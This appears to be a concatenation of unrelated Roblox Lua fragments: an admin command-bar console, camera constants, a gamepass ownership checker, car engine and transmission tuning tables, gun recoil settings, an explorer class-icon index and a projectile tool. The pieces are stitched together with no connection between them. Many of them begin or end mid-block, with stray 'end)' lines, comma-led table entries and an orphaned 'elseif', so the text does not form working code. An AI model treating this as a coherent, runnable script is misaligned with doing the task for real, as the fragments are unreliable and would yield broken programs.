Tool.Part2.Transparency = 1
Tool.Part3.Transparency = 1
Tool.Part24.Transparency = 1
Tool.Part6.Transparency = 1
Tool.Part4.Transparency = 1
Tool.Part2.Transparency = 1
Tool.Shells.Transparency = 1
Tool.Trigger.Transparency = 1
if Module.DualEnabled and workspace.FilteringEnabled then
Handle2.CanCollide = false
if Grip2 then Grip2:Destroy() end
end
end)
|
--// All global vars will be wiped/replaced except script
--// All guis are autonamed codeName..gui.Name
|
return function(data)
local player = service.Players.LocalPlayer
local playergui = player.PlayerGui
local gui = script.Parent.Parent
local frame = gui.Frame
local text = gui.Frame.TextBox
local scroll = gui.Frame.ScrollingFrame
local players = gui.Frame.PlayerList
local entry = gui.Entry
local BindEvent = gTable.BindEvent
local opened = false
local scrolling = false
local debounce = false
local settings = client.Remote.Get("Setting",{"SplitKey","ConsoleKeyCode","BatchKey","Prefix"})
local splitKey = settings.SplitKey
local consoleKey = settings.ConsoleKeyCode
local batchKey = settings.BatchKey
local prefix = settings.Prefix
local commands = client.Remote.Get('FormattedCommands') or {}
local tweenInfo = TweenInfo.new(0.15)----service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
local scrollOpenTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 140);
})
local scrollCloseTween = service.TweenService:Create(frame, tweenInfo, {
Size = UDim2.new(1, 0, 0, 40);
})
local consoleOpenTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0, 0);
})
local consoleCloseTween = service.TweenService:Create(frame, tweenInfo, {
Position = UDim2.new(0, 0, 0, -200);
})
frame.Position = UDim2.new(0,0,0,-200)
frame.Visible = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
if client.Variables.ConsoleOpen then
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
end
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
local function close()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
scroll.ScrollingEnabled = false
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
if client.Variables.ChatEnabled then
service.StarterGui:SetCoreGuiEnabled("Chat",true)
end
if client.Variables.PlayerListEnabled then
service.StarterGui:SetCoreGuiEnabled('PlayerList',true)
end
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = true
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = true end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = true end
consoleCloseTween:Play();
--service.SafeTweenPos(frame,UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
--frame:TweenPosition(UDim2.new(0,0,0,-200),'Out','Linear',0.2,true)
debounce = false
opened = false
end
end
local function open()
if gui:IsDescendantOf(game) and not debounce then
debounce = true
client.Variables.ChatEnabled = service.StarterGui:GetCoreGuiEnabled("Chat")
client.Variables.PlayerListEnabled = service.StarterGui:GetCoreGuiEnabled('PlayerList')
service.StarterGui:SetCoreGuiEnabled("Chat",false)
service.StarterGui:SetCoreGuiEnabled('PlayerList',false)
scroll.ScrollingEnabled = true
players.ScrollingEnabled = true
if client.UI.Get("Notif") then
client.UI.Get("Notif",nil,true).Object.LABEL.Visible = false
end
local scr = client.UI.Get("Chat",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("PlayerList",nil,true)
if scr then scr.Object.Drag.Visible = false end
local scr = client.UI.Get("HintHolder",nil,true)
if scr then scr.Object.Frame.Visible = false end
consoleOpenTween:Play();
frame.Size = UDim2.new(1,0,0,40)
scroll.Visible = false
players.Visible = false
scrollOpen = false
text.Text = ''
frame.Visible = true
frame.Position = UDim2.new(0,0,0,0)
text:CaptureFocus()
text.Text = ''
wait()
text.Text = ''
debounce = false
opened = true
end
end
text.FocusLost:Connect(function(enterPressed)
if enterPressed then
if text.Text~='' and string.len(text.Text)>1 then
client.Remote.Send('ProcessCommand',text.Text)
end
end
close()
end)
text.Changed:Connect(function(c)
if c == 'Text' and text.Text ~= '' and open then
if string.sub(text.Text, string.len(text.Text)) == " " then
if players:FindFirstChild("Entry 0") then
text.Text = (string.sub(text.Text, 1, (string.len(text.Text) - 1))..players["Entry 0"].Text).." "
elseif scroll:FindFirstChild("Entry 0") then
text.Text = string.split(scroll["Entry 0"].Text, "<")[1]
else
text.Text = text.Text..prefix
end
text.CursorPosition = string.len(text.Text) + 1
text.Text = string.gsub(text.Text, " ", "")
end
scroll:ClearAllChildren()
players:ClearAllChildren()
local nText = text.Text
if string.match(nText,".*"..batchKey.."([^']+)") then
nText = string.match(nText,".*"..batchKey.."([^']+)")
nText = string.match(nText,"^%s*(.-)%s*$")
end
local pNum = 0
local pMatch = string.match(nText,".+"..splitKey.."(.*)$")
for i,v in next,service.Players:GetPlayers() do
if (pMatch and string.sub(string.lower(tostring(v)),1,#pMatch) == string.lower(pMatch)) or string.match(nText,splitKey.."$") then
local new = entry:Clone()
new.Text = tostring(v)
new.Name = "Entry "..pNum
new.TextXAlignment = "Right"
new.Visible = true
new.Parent = players
new.Position = UDim2.new(0,0,0,20*pNum)
new.MouseButton1Down:Connect(function()
text.Text = text.Text..tostring(v)
text:CaptureFocus()
end)
pNum = pNum+1
end
end
players.CanvasSize = UDim2.new(0,0,0,pNum*20)
local num = 0
for i,v in next,commands do
if string.sub(string.lower(v),1,#nText) == string.lower(nText) or string.find(string.lower(v), string.match(string.lower(nText),"^(.-)"..splitKey) or string.lower(nText), 1, true) then
if not scrollOpen then
scrollOpenTween:Play();
--frame.Size = UDim2.new(1,0,0,140)
scroll.Visible = true
players.Visible = true
scrollOpen = true
end
local b = entry:Clone()
b.Visible = true
b.Parent = scroll
b.Text = v
b.Name = "Entry "..num
b.Position = UDim2.new(0,0,0,20*num)
b.MouseButton1Down:Connect(function()
text.Text = b.Text
text:CaptureFocus()
end)
num = num+1
end
end
frame.Size = UDim2.new(1, 0, 0, math.clamp((num*20)+40, 40, 140))
scroll.CanvasSize = UDim2.new(0,0,0,num*20)
elseif c == 'Text' and text.Text == '' and opened then
scrollCloseTween:Play();
--service.SafeTweenSize(frame,UDim2.new(1,0,0,40),nil,nil,0.3,nil,function() if scrollOpen then frame.Size = UDim2.new(1,0,0,140) end end)
scroll.Visible = false
players.Visible = false
scrollOpen = false
scroll:ClearAllChildren()
scroll.CanvasSize = UDim2.new(0,0,0,0)
end
end)
BindEvent(service.UserInputService.InputBegan, function(InputObject)
local textbox = service.UserInputService:GetFocusedTextBox()
if not (textbox) and rawequal(InputObject.UserInputType, Enum.UserInputType.Keyboard) and InputObject.KeyCode.Name == (client.Variables.CustomConsoleKey or consoleKey) then
if opened then
close()
else
open()
end
client.Variables.ConsoleOpen = opened
end
end)
gTable:Ready()
end
|
-- Note: DotProduct check in CoordinateFrame::lookAt() prevents using values within about
-- 8.11 degrees of the +/- Y axis, that's why these limits are currently 80 degrees
|
local MIN_Y = math.rad(-80)
local MAX_Y = math.rad(80)
local TOUCH_ADJUST_AREA_UP = math.rad(30)
local TOUCH_ADJUST_AREA_DOWN = math.rad(-15)
local TOUCH_SENSITIVTY_ADJUST_MAX_Y = 2.1
local TOUCH_SENSITIVTY_ADJUST_MIN_Y = 0.5
local VR_ANGLE = math.rad(15)
local VR_LOW_INTENSITY_ROTATION = Vector2.new(math.rad(15), 0)
local VR_HIGH_INTENSITY_ROTATION = Vector2.new(math.rad(45), 0)
local VR_LOW_INTENSITY_REPEAT = 0.1
local VR_HIGH_INTENSITY_REPEAT = 0.4
local ZERO_VECTOR2 = Vector2.new(0,0)
local ZERO_VECTOR3 = Vector3.new(0,0,0)
local TOUCH_SENSITIVTY = Vector2.new(0.00945 * math.pi, 0.003375 * math.pi)
local MOUSE_SENSITIVITY = Vector2.new( 0.002 * math.pi, 0.0015 * math.pi )
local SEAT_OFFSET = Vector3.new(0,5,0)
local VR_SEAT_OFFSET = Vector3.new(0,4,0)
local HEAD_OFFSET = Vector3.new(0,1.5,0)
local R15_HEAD_OFFSET = Vector3.new(0, 1.5, 0)
local R15_HEAD_OFFSET_NO_SCALING = Vector3.new(0, 2, 0)
local HUMANOID_ROOT_PART_SIZE = Vector3.new(2, 2, 1)
local GAMEPAD_ZOOM_STEP_1 = 0
local GAMEPAD_ZOOM_STEP_2 = 10
local GAMEPAD_ZOOM_STEP_3 = 20
local PAN_SENSITIVITY = 20
local ZOOM_SENSITIVITY_CURVATURE = 0.5
local abs = math.abs
local sign = math.sign
local FFlagUserCameraToggle do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserCameraToggle")
end)
FFlagUserCameraToggle = success and result
end
local FFlagUserFixZoomInZoomOutDiscrepancy do
local success, result = pcall(function()
return UserSettings():IsUserFeatureEnabled("UserFixZoomInZoomOutDiscrepancy")
end)
FFlagUserFixZoomInZoomOutDiscrepancy = success and result
end
local Util = require(script.Parent:WaitForChild("CameraUtils"))
local ZoomController = require(script.Parent:WaitForChild("ZoomController"))
local CameraToggleStateController = require(script.Parent:WaitForChild("CameraToggleStateController"))
local CameraInput = require(script.Parent:WaitForChild("CameraInput"))
local CameraUI = require(script.Parent:WaitForChild("CameraUI"))
|
-- Camera
|
local Camera = game.Workspace.CurrentCamera
|
--- Updates the current scope and target state.
|
function ScopeHUD:UpdateTargetingState()
local Targeting = self.props.Core.Targeting
local Scope = Targeting.Scope
local DirectTarget, ScopeTarget = Targeting:UpdateTarget()
return self:setState({
Scope = Scope or Roact.None;
ScopeTarget = ScopeTarget or Roact.None;
DirectTarget = DirectTarget or Roact.None;
IsScopeLocked = Targeting.IsScopeLocked;
})
end
|
-- Get the existing TextLabel object by name
|
local textLabel = script.Parent
|
--[[**
ensures Roblox CatalogSearchParams type
@param value The value to check against
@returns True iff the condition is satisfied, false otherwise
**--]]
|
t.CatalogSearchParams = t.typeof("CatalogSearchParams")
|
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
|
function AddGamepass(player, gamepassId)
--- Variables
local playerId = player.UserId
local playerStats = _L.Storage.Stats["u" .. playerId]
local playerCache = cache["u" .. playerId]
--- Sanity check
if playerStats == nil then
return
end
--- Create cache
if cache["u" .. playerId] == nil then
cache["u" .. playerId] = {}
playerCache = cache["u" .. playerId]
end
--- Check if gamepass is already written
if not _L.Functions.SearchArray(playerStats.Gamepasses, gamepassId) then
--- Write gamepass to save!
table.insert(playerStats.Gamepasses, gamepassId)
--- Analytics
pcall(function()
_L.Analytics.Purchase("Gamepass", player, gamepassId)
end)
end
--- Update cache
playerCache["g" .. gamepassId] = true
end
function CheckPlayer(player)
--- Variables
local playerId = player.UserId
local playerStats = _L.Storage.Stats["u" .. playerId]
local playerCache = cache["u" .. playerId]
--- Sanity check
if playerStats == nil then
return
end
--- Create cache
if cache["u" .. playerId] == nil then
cache["u" .. playerId] = {}
playerCache = cache["u" .. playerId]
end
--- Iterate through all gamepasses to check if player owns them or not (bought on website)
for _, gamepassInfo in pairs(_L.Directory.Gamepasses) do
local gamepassId = gamepassInfo.ID
local gamepassOwned = playerCache["g" .. gamepassId] or false
--- Gamepass not owned already?
if gamepassOwned == false then
--- Check if player owns gamepass (new API)
local playerOwnsGamepass = false
pcall(function() playerOwnsGamepass = _L.Services.MarketplaceService:UserOwnsGamePassAsync(playerId, gamepassId) end)
--- Player bought this gamepass and it's not added! ADD IT!
if playerOwnsGamepass == true then
AddGamepass(player, gamepassId)
end
end
end
end
function RemovePlayer(player)
--- Remove player from cache
local playerId = player.UserId
cache["u" .. playerId] = nil
end
|
-------------------------------------------
|
local weld2 = Instance.new("Weld")
weld2.Part0 = torso
weld2.Parent = torso
weld2.Part1 = arms[2]
weld2.C1 = CFrame.new(0.5,0.495,1.25) * CFrame.fromEulerAnglesXYZ(math.rad(70),0,0)
arms[2].Name = "RDave"
arms[2].CanCollide = true
welds[2] = weld2
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {13,14} --- Vertical Recoil
,HRecoil = {5,6} --- Horizontal Recoil
,AimRecover = .75 ---- Between 0 & 1
,RecoilPunch = .15
,VPunchBase = 3.25 --- Vertical Punch
,HPunchBase = 2 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .25
,MaxRecoilPower = 3
,RecoilPowerStepAmount = .25
,MinSpread = 0.56 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 0.85
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.5 --- Max sway value based on player stamina | Studs
|
--//Beginning\\--
|
Zombie=script.Parent
repeat wait(0.1) until script.Parent.Parent:FindFirstChildOfClass("Part")
|
-- task.wait(Open.Length)
-- Hold:Play()
-- HoldClose:Stop()
|
PlayIdle = true
task.wait(1.1)
DB2 = true
elseif DB and DB2 then
DB = false
DB2 = false
|
--Services
|
local GS = game:GetService("GuiService")
local UIS = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Postie = require(ReplicatedStorage.Postie)
local ScriptContext = game:GetService("ScriptContext")
ScriptContext.Error:Connect(function(...)
ReplicatedStorage.GameAnalyticsError:FireServer(...)
end)
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
script.Parent.Parent.Body.Dash.S.G.Enabled = true
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Parent.Body.Dash.S.G.Enabled = false
end
end
end
end)
|
-- Indices based on implementation of Icon function.
|
local ACTION_CUT = 160
local ACTION_COPY = 161
local ACTION_PASTE = 162
local ACTION_DELETE = 163
local ACTION_SORT = 164
local ACTION_CUT_OVER = 174
local ACTION_COPY_OVER = 175
local ACTION_PASTE_OVER = 176
local ACTION_DELETE_OVER = 177
local ACTION_SORT_OVER = 178
local ACTION_EDITQUICKACCESS = 190
local ACTION_FREEZE = 188
local ACTION_STARRED = 189
local ACTION_ADDSTAR = 184
local ACTION_ADDSTAR_OVER = 187
local NODE_COLLAPSED = 165
local NODE_EXPANDED = 166
local NODE_COLLAPSED_OVER = 179
local NODE_EXPANDED_OVER = 180
local ExplorerIndex = {
["Cut"] = ACTION_CUT_OVER;
["Copy"] = ACTION_COPY_OVER;
["Duplicate"] = ACTION_COPY_OVER;
["Delete"] = ACTION_DELETE_OVER;
["Insert Part"] = 1;
}
local ClassIndex = {
["BindableFunction"] = 66,
["BindableEvent"] = 67,
["TouchTransmitter"] = 37,
["ForceField"] = 37,
["Plugin"] = 86,
["Hat"] = 45,
["Accessory"] = 32,
["Attachment"] = 81,
["WrapTarget"] = 127,
["WrapLayer"] = 126,
["Bone"] = 114,
["Constraint"] = 86,
["BallSocketConstraint"] = 86,
["RopeConstraint"] = 89,
["RodConstraint"] = 90,
["SpringConstraint"] = 91,
["TorsionSpringConstraint"] = 125,
["WeldConstraint"] = 94,
["NoCollisionConstraint"] = 105,
["RigidConstraint"] = 135,
["HingeConstraint"] = 87,
["UniversalConstraint"] = 123,
["SlidingBallConstraint"] = 88,
["PrismaticConstraint"] = 88,
["CylindricalConstraint"] = 95,
["AlignOrientation"] = 100,
["AlignPosition"] = 99,
["VectorForce"] = 102,
["LineForce"] = 101,
["Torque"] = 103,
["AngularVelocity"] = 103,
["Plane"] = 134,
["LinearVelocity"] = 132,
["Weld"] = 34,
["Snap"] = 34,
["ClickDetector"] = 41,
["ProximityPrompt"] = 124,
["Smoke"] = 59,
["Trail"] = 93,
["Beam"] = 96,
["SurfaceAppearance"] = 10,
["ParticleEmitter"] = 80,
["Sparkles"] = 42,
["Explosion"] = 36,
["Fire"] = 61,
["Seat"] = 35,
["Platform"] = 35,
["SkateboardPlatform"] = 35,
["VehicleSeat"] = 35,
["Tool"] = 17,
["Flag"] = 38,
["FlagStand"] = 39,
["Decal"] = 7,
["JointInstance"] = 34,
["Message"] = 33,
["Hint"] = 33,
["IntValue"] = 4,
["RayValue"] = 4,
["IntConstrainedValue"] = 4,
["DoubleConstrainedValue"] = 4,
["BoolValue"] = 4,
["CustomEvent"] = 4,
["CustomEventReceiver"] = 4,
["FloorWire"] = 4,
["NumberValue"] = 4,
["StringValue"] = 4,
["Vector3Value"] = 4,
["CFrameValue"] = 4,
["Color3Value"] = 4,
["BrickColorValue"] = 4,
["ValueBase"] = 4,
["ObjectValue"] = 4,
["SpecialMesh"] = 8,
["BlockMesh"] = 8,
["CylinderMesh"] = 8,
["Texture"] = 10,
["Sound"] = 11,
["Speaker"] = 11,
["VoiceSource"] = 11,
["EchoSoundEffect"] = 84,
["FlangeSoundEffect"] = 84,
["DistortionSoundEffect"] = 84,
["PitchShiftSoundEffect"] = 84,
["ChannelSelectorSoundEffect"] = 84,
["ChorusSoundEffect"] = 84,
["TremoloSoundEffect"] = 84,
["ReverbSoundEffect"] = 84,
["EqualizerSoundEffect"] = 84,
["CompressorSoundEffect"] = 84,
["SoundGroup"] = 85,
["SoundService"] = 31,
["Backpack"] = 20,
["StarterPack"] = 20,
["StarterPlayer"] = 79,
["StarterGear"] = 20,
["CoreGui"] = 46,
["CorePackages"] = 20,
["RobloxPluginGuiService"] = 46,
["PluginGuiService"] = 46,
["PluginDebugService"] = 46,
["UIListLayout"] = 26,
["UIGridLayout"] = 26,
["UIPageLayout"] = 26,
["UITableLayout"] = 26,
["UISizeConstraint"] = 26,
["UITextSizeConstraint"] = 26,
["UIAspectRatioConstraint"] = 26,
["UIScale"] = 26,
["UIPadding"] = 26,
["UIGradient"] = 26,
["UICorner"] = 26,
["UIStroke"] = 26,
["StarterGui"] = 46,
["Chat"] = 33,
["ChatService"] = 33,
["VoiceChatService"] = 136,
["LocalizationTable"] = 97,
["LocalizationService"] = 92,
["MarketplaceService"] = 46,
["Atmosphere"] = 28,
["Clouds"] = 28,
["MaterialVariant"] = 130,
["MaterialService"] = 131,
["Sky"] = 28,
["ColorCorrectionEffect"] = 83,
["BloomEffect"] = 83,
["BlurEffect"] = 83,
["Highlight"] = 133,
["DepthOfFieldEffect"] = 83,
["SunRaysEffect"] = 83,
["Humanoid"] = 9,
["Shirt"] = 43,
["Pants"] = 44,
["ShirtGraphic"] = 40,
["PackageLink"] = 98,
["BodyGyro"] = 14,
["BodyPosition"] = 14,
["RocketPropulsion"] = 14,
["BodyVelocity"] = 14,
["BodyAngularVelocity"] = 14,
["BodyForce"] = 14,
["BodyThrust"] = 14,
["Teams"] = 23,
["Team"] = 24,
["SpawnLocation"] = 25,
["NetworkClient"] = 16,
["NetworkServer"] = 15,
["Script"] = 6,
["LocalScript"] = 18,
["RenderingTest"] = 5,
["NetworkReplicator"] = 29,
["Model"] = 2,
["Status"] = 2,
["HopperBin"] = 22,
["Camera"] = 5,
["Players"] = 21,
["ReplicatedStorage"] = 70,
["ReplicatedFirst"] = 70,
["ServerStorage"] = 69,
["ServerScriptService"] = 71,
["ReplicatedScriptService"] = 70,
["Lighting"] = 13,
["TestService"] = 68,
["Debris"] = 30,
["Accoutrement"] = 32,
["Player"] = 12,
["Workspace"] = 19,
["Part"] = 1,
["TrussPart"] = 1,
["WedgePart"] = 1,
["PrismPart"] = 1,
["PyramidPart"] = 1,
["ParallelRampPart"] = 1,
["RightAngleRampPart"] = 1,
["CornerWedgePart"] = 1,
["PlayerGui"] = 46,
["PlayerScripts"] = 78,
["StandalonePluginScripts"] = 78,
["StarterPlayerScripts"] = 78,
["StarterCharacterScripts"] = 78,
["GuiMain"] = 47,
["ScreenGui"] = 47,
["BillboardGui"] = 64,
["SurfaceGui"] = 64,
["Frame"] = 48,
["ScrollingFrame"] = 48,
["ImageLabel"] = 49,
["VideoFrame"] = 120,
["CanvasGroup"] = 48,
["TextLabel"] = 50,
["TextButton"] = 51,
["TextBox"] = 51,
["GuiButton"] = 52,
["ViewportFrame"] = 52,
["ImageButton"] = 52,
["Handles"] = 53,
["ArcHandles"] = 56,
["SelectionBox"] = 54,
["SelectionSphere"] = 54,
["SurfaceSelection"] = 55,
["PathfindingModifier"] = 128,
["PathfindingLink"] = 137,
["Configuration"] = 58,
["HumanoidDescription"] = 104,
["Folder"] = 77,
["WorldModel"] = 19,
["Motor6D"] = 106,
["BoxHandleAdornment"] = 111,
["ConeHandleAdornment"] = 110,
["CylinderHandleAdornment"] = 109,
["SphereHandleAdornment"] = 112,
["LineHandleAdornment"] = 107,
["ImageHandleAdornment"] = 108,
["SelectionPartLasso"] = 57,
["SelectionPointLasso"] = 57,
["PartPairLasso"] = 57,
["PoseBase"] = 60,
["Pose"] = 60,
["NumberPose"] = 60,
["KeyframeMarker"] = 60,
["Keyframe"] = 60,
["Animation"] = 60,
["AnimationTrack"] = 60,
["AnimationController"] = 60,
["Animator"] = 60,
["FaceControls"] = 129,
["CharacterMesh"] = 60,
["Dialog"] = 62,
["DialogChoice"] = 63,
["UnionOperation"] = 73,
["NegateOperation"] = 72,
["MeshPart"] = 73,
["Terrain"] = 65,
["Light"] = 13,
["PointLight"] = 13,
["SpotLight"] = 13,
["SurfaceLight"] = 13,
["RemoteFunction"] = 74,
["RemoteEvent"] = 75,
["TerrainRegion"] = 65,
["ModuleScript"] = 76,
}
|
--[[Transmission]]
|
Tune.TransModes = {"Semi"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 3.97 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 3.42 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 3.75 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 2.38 ,
--[[ 3 ]] 1.72 ,
--[[ 4 ]] 1.34 ,
--[[ 5 ]] 1.11 ,
--[[ 6 ]] .91 ,
--[[ 7 ]] .78 ,
}
Tune.FDMult = 1 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Buttons
|
local ExitButton = MainFrame:WaitForChild("ExitButton")
local FreeFlightButton = MainFrame:WaitForChild("FreeFlightButton")
local RaceButton = MainFrame:WaitForChild("EnterRaceButton")
|
--- SERVICES
|
StarterGui = game:GetService("StarterGui")
Players = game:GetService("Players")
ReplicatedStorage = game:GetService("ReplicatedStorage")
|
-- find player's head pos
|
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
local head = vCharacter:findFirstChild("Head")
if head == nil then return end
local launch = head.Position + 10 * v
local missile = Pellet:clone()
Tool.Handle.Mesh:clone().Parent = missile
missile.Position = launch
missile.Velocity = v * 80
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,40,0)
force.Parent = missile
if (turbo) then
missile.Velocity = v * 100
force.force = Vector3.new(0,45,0)
end
missile.StarScript.Disabled = false
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = vCharacter
creator_tag.Name = "creator"
creator_tag.Parent = missile
missile.Parent = game.Workspace
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
if loaded==true then
loaded=false
local targetPos = humanoid.TargetPoint
local lookAt = (targetPos - character.Head.Position).unit
fire(lookAt, isTurbo(character) )
if (isTurbo(character) == true) then
wait(.1)
else
wait(.3)
end
Tool.Enabled = true
elseif loaded==false then
Tool.Parent.Torso["Right Shoulder"].MaxVelocity = 0.6
Tool.Parent.Torso["Right Shoulder"].DesiredAngle = -3.6
wait(.1)
Tool.Handle.Transparency=0
wait(.1)
loaded=true
end
Tool.Enabled = true
end
script.Parent.Activated:connect(onActivated)
|
--
|
LeftArm = Character:WaitForChild("Left Arm")
RightArm = Character:WaitForChild("Right Arm")
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 567 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 5000 -- Use sliders to manipulate values
Tune.Redline = 6500 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 150 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--!strict
|
local Array = script.Parent
local isArray = require(Array.isArray)
type Array<T> = { [number]: T }
return function(value: Array<any>): any?
if _G.__DEV__ then
if not isArray(value) then
error(string.format("Array.shift called on non-array %s", typeof(value)))
end
end
if #value > 0 then
return table.remove(value, 1)
else
return nil
end
end
|
--[[
[How fast the body rotates.]
[Setting to 0 negates tracking, and setting to 1 is instant rotation. 0.5 is a nice in-between that works with MseGuide on or off.]
[Setting this any higher than 1 causes weird glitchy shaking occasionally.]
--]]
|
local UpdateSpeed = 2
local NeckOrgnC0 = Neck.C0 --[Get the base C0 to manipulate off of.]
local WaistOrgnC0 = (not IsR6 and Waist.C0) --[Get the base C0 to manipulate off of.]
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
return (not ClassInformationTable:GetClassFolder(player,"Brawler").Barrage.Value)
end
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 5500 -- [TORQUE CURVE VISUAL]
Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf
Tune.PeakRPM = 6000 -- Use sliders to manipulate values
Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values
Tune.EqPoint = 5500
Tune.PeakSharpness = 7.5
Tune.CurveMult = 0.16
--Incline Compensation
Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 350 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
|
--[[**
Adds a promise to the janitor. If the janitor is cleaned up and the promise is not completed, the promise will be cancelled.
@param [t:Promise] PromiseObject The promise you want to add to the janitor.
@returns [t:Promise]
**--]]
--[[
function Janitor.__index:AddPromise(PromiseObject)
if not Promise.is(PromiseObject) then
error(string.format(NOT_A_PROMISE, typeof(PromiseObject), tostring(PromiseObject)))
end
if PromiseObject:getStatus() == Promise.Status.Started then
local Id = newproxy(false)
local NewPromise = self:Add(Promise.resolve(PromiseObject), "cancel", Id)
NewPromise:finallyCall(self.Remove, self, Id)
return NewPromise, Id
else
return PromiseObject
end
end
--]]
| |
----------------------------------------------------------------------------------------------------
--------------------=[ CFRAME ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,EnableHolster = false
,HolsterTo = 'Torso' -- Put the name of the body part you wanna holster to
,HolsterPos = CFrame.new(0,0,0) * CFrame.Angles(math.rad(0),math.rad(0),math.rad(0))
,RightArmPos = CFrame.new(-.875, -0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server
